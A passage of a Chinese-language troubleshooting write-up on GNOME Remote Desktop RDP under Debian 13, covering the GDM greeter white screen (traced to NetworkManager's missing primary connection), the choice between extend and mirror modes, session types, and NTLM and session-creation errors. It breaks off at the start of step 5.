&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;loginctl list-sessions
# session c3, c4, c5 ...  Type=wayland  Class=greeter  Remote=yes  RemoteHost=0.0.0.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但客户端白屏。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;根因：系统级和用户级使用了不同的 compositor&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;两个端口背后的渲染路径完全不同：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;3389（系统级）&lt;&#x2F;th&gt;&lt;th&gt;3390（用户级）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;运行用户&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Debian-gdm&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;peter&lt;&#x2F;code&gt;（实际用户）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;compositor&lt;&#x2F;td&gt;&lt;td&gt;GDM 自带的轻量 greeter compositor&lt;&#x2F;td&gt;&lt;td&gt;GNOME Shell 完整 compositor&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;渲染方式&lt;&#x2F;td&gt;&lt;td&gt;GDM 独立启动 Wayland 进程绘制登录界面&lt;&#x2F;td&gt;&lt;td&gt;PipeWire screencast portal 抓取已有画面&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;是否 GPU 加速&lt;&#x2F;td&gt;&lt;td&gt;在 RDP 虚拟输出上初始化失败&lt;&#x2F;td&gt;&lt;td&gt;已在物理显示器上正常渲染，只需编码传输&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;GDM greeter compositor 极其精简，只负责画一个登录框，对 RDP 虚拟输出的支持不完善。而 GNOME Shell 是完整 compositor，在物理显示器上已经借助 GPU 渲染好了，3390 只是通过 PipeWire 把画面编码成 RDP 流发出去——本质上是屏幕录制，不涉及在新输出上重新渲染。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;登录后进入的还是 GNOME Shell。&lt;&#x2F;strong&gt; GDM 只是门卫——认证通过后启动正常用户会话。问题纯粹出在门卫自己的渲染上。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;能否换掉 GDM？&lt;&#x2F;strong&gt; 不行。&lt;code&gt;gnome-remote-desktop&lt;&#x2F;code&gt; 系统级守护进程通过 D-Bus 直接调 GDM 来创建 &lt;code&gt;gdm-launch-environment&lt;&#x2F;code&gt; 会话，这个接口是 GDM 专有的，LightDM 等没有这些 D-Bus API，grd 也不支持其他显示管理器。要解决系统级白屏，只有三条路：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;强制 GDM 用 Xorg&lt;&#x2F;strong&gt;（白屏消失，但 Wayland 洁癖不答应）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo sed -i &amp;#x27;s&amp;#x2F;^#\s*WaylandEnable=false&amp;#x2F;WaylandEnable=false&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;gdm3&amp;#x2F;custom.conf
sudo systemctl restart gdm3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;等上游修&lt;&#x2F;strong&gt;：GDM greeter compositor 对 RDP 虚拟输出的支持是 grd&#x2F;freerdp 的持续工作&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;绕过&lt;&#x2F;strong&gt;：不用系统级，只保留用户级独占 3389（当前方案）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;step-3b-bai-ping-zhen-gen-yin-2026-08-11-jie-lun-xiu-zheng-douhao-dui-zhao-shi-ce&quot;&gt;Step 3b：白屏真根因（2026-08-11 结论修正，douhao 对照实测）&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;过时说明&lt;&#x2F;strong&gt;：上面「GDM Wayland greeter 渲染异常」的结论只描述了表象。后来用正常机器（douhao，同 Debian 13 + GNOME 48）逐项对照排查，发现白屏的真根因在&lt;strong&gt;登录界面渲染链路的前置环节&lt;&#x2F;strong&gt;——&lt;code&gt;--handover&lt;&#x2F;code&gt; daemon 根本没被启动，greeter 会话里从未创建虚拟显示器。修正记录如下。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;对照实验发现的关键差异&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;douhao（正常）&lt;&#x2F;th&gt;&lt;th&gt;dev（白屏）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;greeter 会话（Debian-gdm）进程&lt;&#x2F;td&gt;&lt;td&gt;有 &lt;code&gt;gnome-remote-desktop-daemon --handover&lt;&#x2F;code&gt;（gsd-sharing 的&lt;strong&gt;直接子进程&lt;&#x2F;strong&gt;）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;没有&lt;&#x2F;strong&gt; --handover 进程&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;greeter gnome-shell 日志&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Added virtual monitor Meta-0&lt;&#x2F;code&gt;（创建了虚拟显示器）&lt;&#x2F;td&gt;&lt;td&gt;无此日志&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;nmcli general&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;connected:full&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;connected (local only): limited&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;NM &lt;code&gt;PrimaryConnection&lt;&#x2F;code&gt; 属性&lt;&#x2F;td&gt;&lt;td&gt;非空（ActiveConnection&#x2F;2）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;（空）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;gsd-sharing 的 SharingStatus&lt;&#x2F;td&gt;&lt;td&gt;AVAILABLE(3)&lt;&#x2F;td&gt;&lt;td&gt;OFFLINE(0)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;根因链（逐环实测确认）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;手动添加的默认路由（ip route add ... proto static，无 metric）
  → NetworkManager 不认为是自己管理的路由（PrimaryConnection=&amp;#x2F; 空，ActiveConnection.Default=false）
    → gsd-sharing 的 nm_client_get_primary_connection() 返回 NULL
      → sharing_status = GSD_SHARING_STATUS_OFFLINE
        → start_assigned_service() 第一行就 return（源码 gsd-sharing-manager.c）
          → --handover daemon 永不启动
            → greeter 会话没有虚拟显示器（缺 &amp;quot;Added virtual monitor&amp;quot; 日志）
              → 登录界面白屏 + CPU 飙升（mutter 在虚拟输出上空转渲染）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;gsd-sharing 的启动逻辑&lt;&#x2F;strong&gt;（gnome-settings-daemon 48 源码 &lt;code&gt;plugins&#x2F;sharing&#x2F;gsd-sharing-manager.c&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;assigned_services[]&lt;&#x2F;code&gt; 里注册了 &lt;code&gt;org.gnome.RemoteDesktop&lt;&#x2F;code&gt; → &lt;code&gt;gnome-remote-desktop-handover&lt;&#x2F;code&gt;，&lt;code&gt;remote_session_classes = { &quot;user&quot;, &quot;greeter&quot; }&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;system bus 上 &lt;code&gt;org.gnome.RemoteDesktop&lt;&#x2F;code&gt; 名字出现（系统级 daemon 注册）→ 触发 &lt;code&gt;start_assigned_service()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;该函数&lt;strong&gt;第一行&lt;&#x2F;strong&gt;：&lt;code&gt;if (manager-&amp;gt;sharing_status == GSD_SHARING_STATUS_OFFLINE) return;&lt;&#x2F;code&gt; ← 白屏就是被这一行拦住的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sharing_status&lt;&#x2F;code&gt; 由 &lt;code&gt;nm_client_get_primary_connection()&lt;&#x2F;code&gt; 决定：有 active connection 且 carrier type 非空 → AVAILABLE；否则 OFFLINE&lt;&#x2F;li&gt;
&lt;li&gt;启动方式：&lt;code&gt;sd_pid_get_user_unit()&lt;&#x2F;code&gt; 成功（systemd 管理）→ 走 &lt;code&gt;org.freedesktop.systemd1&lt;&#x2F;code&gt; StartUnit；失败 → 直接 &lt;code&gt;g_desktop_app_info_launch&lt;&#x2F;code&gt; fork &lt;code&gt;.desktop&lt;&#x2F;code&gt;（douhao 就是这条路径）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;修复&lt;&#x2F;strong&gt;（dev 上执行，网络是 bridge 连接 br0）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 重新激活网络连接，让 NM 接管默认路由（NM 配置里已有 ipv4.gateway）
sudo nmcli con up br0

# 验证（三处全部转好才说明修复到位）：
nmcli -t -f STATE,CONNECTIVITY general
# connected:full                                  ← 原来 limited

dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager \
  &amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;NetworkManager org.freedesktop.DBus.Properties.Get \
  string:org.freedesktop.NetworkManager string:PrimaryConnection
# variant object path &amp;quot;&amp;#x2F;org&amp;#x2F;freedesktop&amp;#x2F;NetworkManager&amp;#x2F;ActiveConnection&amp;#x2F;5&amp;quot;   ← 原来 &amp;quot;&amp;#x2F;&amp;quot;

dbus-send --session --print-reply --dest=org.gnome.SettingsDaemon.Sharing \
  &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;SettingsDaemon&amp;#x2F;Sharing org.freedesktop.DBus.Properties.Get \
  string:org.gnome.SettingsDaemon.Sharing string:SharingStatus
# variant uint32 3 (AVAILABLE)                    ← 原来 0 (OFFLINE)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修复后 3389 直接显示 GDM 登录界面，登录 → handover → 桌面完整链路正常，&lt;strong&gt;不需要&lt;&#x2F;strong&gt;停系统级守护进程或强制 GDM Xorg。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;为何之前误判&lt;&#x2F;strong&gt;：白屏期间 greeter 的 EGL&#x2F;GPU 初始化日志全部正常（&lt;code&gt;Obtained a high priority EGL context&lt;&#x2F;code&gt;），且修好 &lt;code&gt;&#x2F;dev&#x2F;dri&lt;&#x2F;code&gt; 的 ACL 后仍白屏，所以最初归因到「greeter 渲染异常」。而 &lt;code&gt;Failed to handle service change: Process org.freedesktop.systemd1 exited with status 1&lt;&#x2F;code&gt; 这类报错是 rygel 等 configurable services 走 systemd 激活失败的噪音（&lt;code&gt;org.freedesktop.systemd1.service&lt;&#x2F;code&gt; 的 Exec=&#x2F;bin&#x2F;false 是系统设计如此），&lt;strong&gt;与白屏无关&lt;&#x2F;strong&gt;，别被误导。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;排查口诀&lt;&#x2F;strong&gt;：3389 白屏 → ① &lt;code&gt;nmcli general&lt;&#x2F;code&gt; 看是不是 limited&#x2F;local only → 是则 &lt;code&gt;nmcli con up &amp;lt;连接&amp;gt;&lt;&#x2F;code&gt; 重新激活；② 看 greeter 会话里有没有 &lt;code&gt;gnome-remote-desktop-daemon --handover&lt;&#x2F;code&gt; 进程和 &lt;code&gt;Added virtual monitor&lt;&#x2F;code&gt; 日志；③ 查 gsd-sharing 的 SharingStatus 是否为 0。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-3c-wang-luo-bi-xu-you-networkmanager-guan-li-2026-08-11-bu-chong&quot;&gt;Step 3c：网络必须由 NetworkManager 管理（2026-08-11 补充）&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;结论：3389 远程登录（GDM greeter 路径）依赖 NetworkManager，用 systemd-networkd 管理网络不行。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这是 Step 3b 依赖链的&lt;strong&gt;另一种触发方式&lt;&#x2F;strong&gt;（同一根因，不同起因）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;手动加默认路由&lt;&#x2F;strong&gt;（机器 B 的起因）：NM 里连接是 active 的，但默认路由不是 NM 添加的 → &lt;code&gt;PrimaryConnection&lt;&#x2F;code&gt; 空 → OFFLINE → 白屏&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;systemd-networkd 管理网络&lt;&#x2F;strong&gt;：NM 把设备标为 &lt;code&gt;unmanaged&lt;&#x2F;code&gt;，NM 里&lt;strong&gt;根本没有 active connection&lt;&#x2F;strong&gt; → &lt;code&gt;PrimaryConnection&lt;&#x2F;code&gt; 空 → 同样 OFFLINE → 白屏&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;本质都是 &lt;strong&gt;NM 不认为自己有主连接&lt;&#x2F;strong&gt;（详细依赖链见 Step 3b）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;绕开路径&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;网络交给 NM 管理（推荐）：&lt;code&gt;nmcli con up &amp;lt;连接&amp;gt;&lt;&#x2F;code&gt; 让 NM 接管，PrimaryConnection 非空即可&lt;&#x2F;li&gt;
&lt;li&gt;不用 3389 登录界面：用户级独占 3389 直连桌面（本页机器 B 最终方案）&lt;strong&gt;不依赖 NM&lt;&#x2F;strong&gt;——用户级 daemon 由 systemd 管，不经过 gsd-sharing。代价是没有 GDM 登录界面，不能走 handover 登录接管。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;副作用提醒&lt;&#x2F;strong&gt;：&lt;code&gt;nmcli con up &amp;lt;网桥&amp;gt;&lt;&#x2F;code&gt; 重新激活网桥时，会把挂在网桥上的虚拟机 tap 网卡（如 vnet0）&lt;strong&gt;踢出网桥&lt;&#x2F;strong&gt;导致虚拟机失联。修复：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip link set vnet0 master br0   # 重新挂回
ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;net&amp;#x2F;br0&amp;#x2F;brif&amp;#x2F;         # 确认成员里有 vnet0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;step-3d-3390-zhi-lian-unknown-monitor-yong-extend-mo-shi-2026-08-11-bu-chong&quot;&gt;Step 3d：3390 直连 &lt;code&gt;Unknown monitor&lt;&#x2F;code&gt; — 用 extend 模式（2026-08-11 补充）&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;现象&lt;&#x2F;strong&gt;：直连 3390（用户级桌面共享）时，认证通过、通道协商成功，但随后被服务器断开：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ERROR][com.freerdp.core.peer] - ERRINFO_RPC_INITIATED_DISCONNECT [0x00010001]
gnome-remote-de: Failed to record monitor: GDBus.Error:org.freedesktop.DBus.Error.Failed: Unknown monitor
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;根因&lt;&#x2F;strong&gt;：用户级 daemon 默认共享模式是 &lt;strong&gt;&lt;code&gt;mirror-primary&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;——镜像现有桌面的&lt;strong&gt;主物理显示器&lt;&#x2F;strong&gt;。当物理会话被注销（seat0 上只剩 GDM 登录界面）、目标会话是无 seat 的 headless 会话（gnome-shell 日志 &lt;code&gt;No seat assigned, running headlessly&lt;&#x2F;code&gt;）时，没有物理屏可镜像 → &lt;code&gt;Unknown monitor&lt;&#x2F;code&gt; → 拒绝连接。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;修复&lt;&#x2F;strong&gt;：切换到 &lt;strong&gt;&lt;code&gt;extend&lt;&#x2F;code&gt; 模式&lt;&#x2F;strong&gt;（创建虚拟显示器，不依赖物理屏）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.remote-desktop.rdp screen-share-mode extend
systemctl --user restart gnome-remote-desktop.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结论：extend 模式不需要物理会话登录&lt;&#x2F;strong&gt;。实测在物理会话注销、只剩 RDP 登录的无 seat 会话时，3390 直连成功、桌面正常显示。两种模式对比：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;模式&lt;&#x2F;th&gt;&lt;th&gt;画面来源&lt;&#x2F;th&gt;&lt;th&gt;需要物理屏？&lt;&#x2F;th&gt;&lt;th&gt;适用场景&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;mirror-primary&lt;&#x2F;code&gt;（默认）&lt;&#x2F;td&gt;&lt;td&gt;镜像会话主物理显示器&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;是&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;有物理登录会话，想看物理屏内容&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;extend&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;mutter 创建虚拟显示器（如 Meta-0）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;否&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;无头&#x2F;远程登录会话，或不想暴露物理屏内容&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：extend 模式下 RDP 会话用的是独立的虚拟显示器，&lt;strong&gt;看不到物理屏上的实际内容&lt;&#x2F;strong&gt;；mirror-primary 才是&quot;看物理屏&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;补充（2026-08-11 晚）&lt;&#x2F;strong&gt;：extend 设置&lt;strong&gt;只对 SCREEN_SHARE（无参数）模式有意义&lt;&#x2F;strong&gt;。改用 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式后 daemon 永远自建虚拟显示器，不存在 &lt;code&gt;Unknown monitor&lt;&#x2F;code&gt; 问题——&lt;strong&gt;用 headless 模式可以一劳永逸绕开本坑&lt;&#x2F;strong&gt;（详见下文「grd 的 4 种运行模式」）。且实测发现 dconf 的 extend 设置可能被 GUI 设置面板等重置回 mirror-primary（dev 上 20:17 被覆盖），headless 模式不受此影响。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;step-3e-wu-li-hui-hua-vs-yuan-cheng-hui-hua-ssh-wu-fa-chuang-jian-wu-li-hui-hua-2026-08-11-bu-chong&quot;&gt;Step 3e：物理会话 vs 远程会话 — SSH 无法创建物理会话（2026-08-11 补充）&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;问题&lt;&#x2F;strong&gt;：物理会话注销后，能否通过 SSH 重新创建 seat0 物理会话？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;结论：不能。&lt;&#x2F;strong&gt; &lt;code&gt;loginctl unlock-session&lt;&#x2F;code&gt; 只能解锁&lt;strong&gt;已存在&lt;&#x2F;strong&gt;的会话，没有创建会话的能力。物理会话（&lt;code&gt;Seat=seat0&lt;&#x2F;code&gt; 的 user 会话）只能由 GDM 在 seat0 上登录产生，路径只有三条：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;物理机前键盘登录&lt;&#x2F;strong&gt;（最直接）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;GDM 自动登录&lt;&#x2F;strong&gt;（模拟物理登录）：&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;# &amp;#x2F;etc&amp;#x2F;gdm3&amp;#x2F;custom.conf
[daemon]
AutomaticLoginEnable = true
AutomaticLogin = peter
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
然后 &lt;code&gt;sudo systemctl restart gdm3&lt;&#x2F;code&gt; 生效&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;3389 RDP 登录&lt;&#x2F;strong&gt;：创建的是&lt;strong&gt;远程会话&lt;&#x2F;strong&gt;（&lt;code&gt;Remote=yes&lt;&#x2F;code&gt;、无 seat），不是物理会话——但 RDP 用起来一样&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;重启 gdm3 的副作用（执行前想清楚）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;终止 GDM 管理的&lt;strong&gt;所有&lt;&#x2F;strong&gt;会话：当前 RDP 会话、远程 greeter 全部断开&lt;&#x2F;li&gt;
&lt;li&gt;重启后自动登录产生新的 seat0 物理会话 → 用户级 daemon 需要 &lt;code&gt;systemctl --user restart gnome-remote-desktop&lt;&#x2F;code&gt; 重新绑定&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;安全代价&lt;&#x2F;strong&gt;：自动登录后物理屏直接进桌面且一直保持登录，任何能碰到机器的人都能操作——比「物理屏停在登录界面」风险高&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;会话选择判断标准&lt;&#x2F;strong&gt;（&lt;code&gt;loginctl list-sessions&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;特征&lt;&#x2F;th&gt;&lt;th&gt;会话类型&lt;&#x2F;th&gt;&lt;th&gt;能否 unlock&#x2F;lock&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Seat=seat0&lt;&#x2F;code&gt; + &lt;code&gt;Class=user&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;物理会话（解锁目标）&lt;&#x2F;td&gt;&lt;td&gt;✅ &lt;code&gt;unlock-session&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;lock-session&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class=user&lt;&#x2F;code&gt; + &lt;code&gt;Remote=yes&lt;&#x2F;code&gt; + &lt;code&gt;Type=wayland&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;RDP 远程桌面会话&lt;&#x2F;td&gt;&lt;td&gt;❌ 从不锁定，无需操作&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class=greeter&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;GDM 登录界面&lt;&#x2F;td&gt;&lt;td&gt;❌ 别碰&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class=manager&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;systemd 管理&lt;&#x2F;td&gt;&lt;td&gt;❌ 别碰&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;实测案例&lt;&#x2F;strong&gt;：dev 的物理会话 803 注销后，seat0 只剩 greeter c27。此时 3390 用 extend 模式共享远程会话 4259 正常工作——&lt;strong&gt;物理会话对 RDP 使用不是必需的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;认证通过后如何切到用户级 daemon？重定向 + fd 传递（2026-09-11 源码核实，更正）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;原文曾写「RDP Server Redirection，不是 fd 传递」「客户端重建连接到用户守护进程（3390）」，这个结论是错的。grd 48.1 源码（&lt;code&gt;grd-daemon-system.c&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;grd-daemon-handover.c&lt;&#x2F;code&gt;）显示实际链路是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;系统守护进程向客户端发送 &lt;code&gt;RDP_SERVER_REDIRECTION&lt;&#x2F;code&gt; 包（含 routing token、用户名、密码、证书，&lt;strong&gt;不含目标地址&lt;&#x2F;strong&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;客户端断开后&lt;strong&gt;重连回同一地址的 3389&lt;&#x2F;strong&gt;，携带 routing token；系统守护进程的 RDP server 以 &lt;code&gt;incoming-redirected-connection&lt;&#x2F;code&gt; 信号识别 token（&lt;code&gt;on_incoming_redirected_connection&lt;&#x2F;code&gt;），暂存新 socket 并发 &lt;code&gt;TakeClientReady&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;用户级 handover daemon 调 &lt;code&gt;TakeClient&lt;&#x2F;code&gt; → 系统守护进程把该 socket 的 &lt;strong&gt;fd 通过 D-Bus（&lt;code&gt;GUnixFDList&lt;&#x2F;code&gt;，即 &lt;code&gt;SCM_RIGHTS&lt;&#x2F;code&gt;）传给 handover daemon&lt;&#x2F;strong&gt;（&lt;code&gt;on_handle_take_client&lt;&#x2F;code&gt;）→ handover daemon 用 &lt;code&gt;grd_rdp_server_notify_incoming&lt;&#x2F;code&gt; 把连接注入自己的 RDP server&lt;&#x2F;li&gt;
&lt;li&gt;handover daemon &lt;strong&gt;不监听任何端口&lt;&#x2F;strong&gt;（所以 &lt;code&gt;ss&lt;&#x2F;code&gt; 里看不到它），只接收注入的连接&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;也就是说：既有应用层重定向（让客户端重连并携带 token），也有内核级 fd 传递（交接 socket）——「不是 fd 传递」的说法不成立。日志中仍能看到 &lt;code&gt;Sending server redirection&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;step-4-shan-tui-pai-cha-ntlm-mic-bu-shi-mstsc-du-you-de&quot;&gt;Step 4：闪退排查 — NTLM MIC 不是 mstsc 独有的&lt;&#x2F;h4&gt;
&lt;p&gt;机器 A 的推测是「mstsc 特有」。但机器 B 用的 &lt;strong&gt;Remmina（Linux）同样出现此问题&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ERROR][com.winpr.sspi.NTLM] - [ntlm_read_AuthenticateMessage]: Message Integrity Check (MIC) verification failed!
[WARN][com.winpr.sspi] - [winpr_AcceptSecurityContext]: AcceptSecurityContext status SEC_E_MESSAGE_ALTERED [0x8009030F]
[ERROR][com.freerdp.core.transport] - [transport_accept_nla]: client authentication failure
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;结论修正：这是 grd 46 用户守护进程与 NLA (CredSSP) 的普遍不兼容，不限于 mstsc&lt;&#x2F;strong&gt;。需要通过系统守护进程的认证路径才能绕过——但要先解决白屏。最终选择了只用用户级独占 3389。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;step-5-session-creation-inhibited-di-er-ge-suo-ping-keng&quot;&gt;Step 5：Session creation inhibited（第二个锁屏坑）&lt;&#x2F;h4&gt;
&lt;p&gt;凭证修复后 NTLM 通过了！但出现新错误：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gnome-remote-de: Failed to start remote desktop session:
  GDBus.Error:org.freedesktop.DBus.Error.Failed: Session creation inhibited
